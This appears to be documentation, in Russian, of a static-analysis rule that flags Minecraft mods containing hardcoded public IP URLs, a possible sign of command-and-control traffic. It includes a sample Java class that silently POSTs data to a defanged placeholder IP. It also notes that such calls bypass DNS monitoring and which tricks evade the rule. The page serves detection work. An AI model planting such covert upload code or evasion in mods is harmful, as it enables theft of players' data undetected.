Raw IP Address Communication
Влияние на механику Minecraft
Большинство внешних сервисов и платформ модов обращаются к серверам через доменные имена с помощью службы DNS. Доменные имена обеспечивают прозрачность владельца, проверяемые сертификаты SSL/TLS и возможность оценки репутации домена.
Direct_IP_URL выявляет модификации, содержащие публичные числовые IP-адреса (например, http://203.0.113[.]42:8080/) непосредственно в коде сетевых обращений. Локальное тестирование или частные серверы могут использовать прямое указание адреса, однако в публичных модах использование жестко зашитых публичных IP встречается редко. В сценариях вредоносного ПО прямой IP-адрес может использоваться для сетевого взаимодействия через стандартные API (HttpURLConnection, сокеты) с серверами управления (C2) без формирования DNS-запросов, что затрудняет обнаружение соединений средствами мониторинга DNS.
Наличие прямого IP-адреса само по себе не доказывает вредоносность кода, однако требует проверки назначения сетевого вызова, формата передаваемых данных и принадлежности удаленного сервера.
Анализируемые функции и API
ConstantPool CONSTANT_Utf8
Строковый литерал в пуле констант с публичным маршрутизируемым IP-адресом.
Реализация в моде (Исходный код)
package com.example.network;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
public class DirectConnectionClient {
private static final String ENDPOINT = "http://203.0.113[.]42:8080/sync";
public static void sendStatusReport(String payload) {
try {
URL url = new URL(ENDPOINT);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setConnectTimeout(5000);
conn.setDoOutput(true);
try (OutputStream os = conn.getOutputStream()) {
os.write(payload.getBytes(StandardCharsets.UTF_8));
}
conn.getResponseCode();
} catch (Exception ignored) {
// Обработка сетевых сбоев
}
}
}
Сигнатура байткода и статический детект
Детектор сканирует строковые константы в пуле констант класса (CONSTANT_Utf8) на наличие URL-адресов протоколов HTTP и HTTPS, использующих числовые IPv4-адреса вместо доменных имен.
Регулярное выражение исключает адреса частных и локальных сетей (127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16 и 0.0.0.0/8), чтобы предотвратить ложные срабатывания на локальные сервисы разработчиков и сокеты межпроцессного взаимодействия.
Правило срабатывает при обнаружении публичных маршрутизируемых IP-адресов в строковых константах. Основное ограничение статического анализа состоит в проверке только явных строковых литералов: динамически передаваемые IP-адреса, сборка из массива байтов или работа через нестандартные бинарные протоколы этим правилом не детектируются.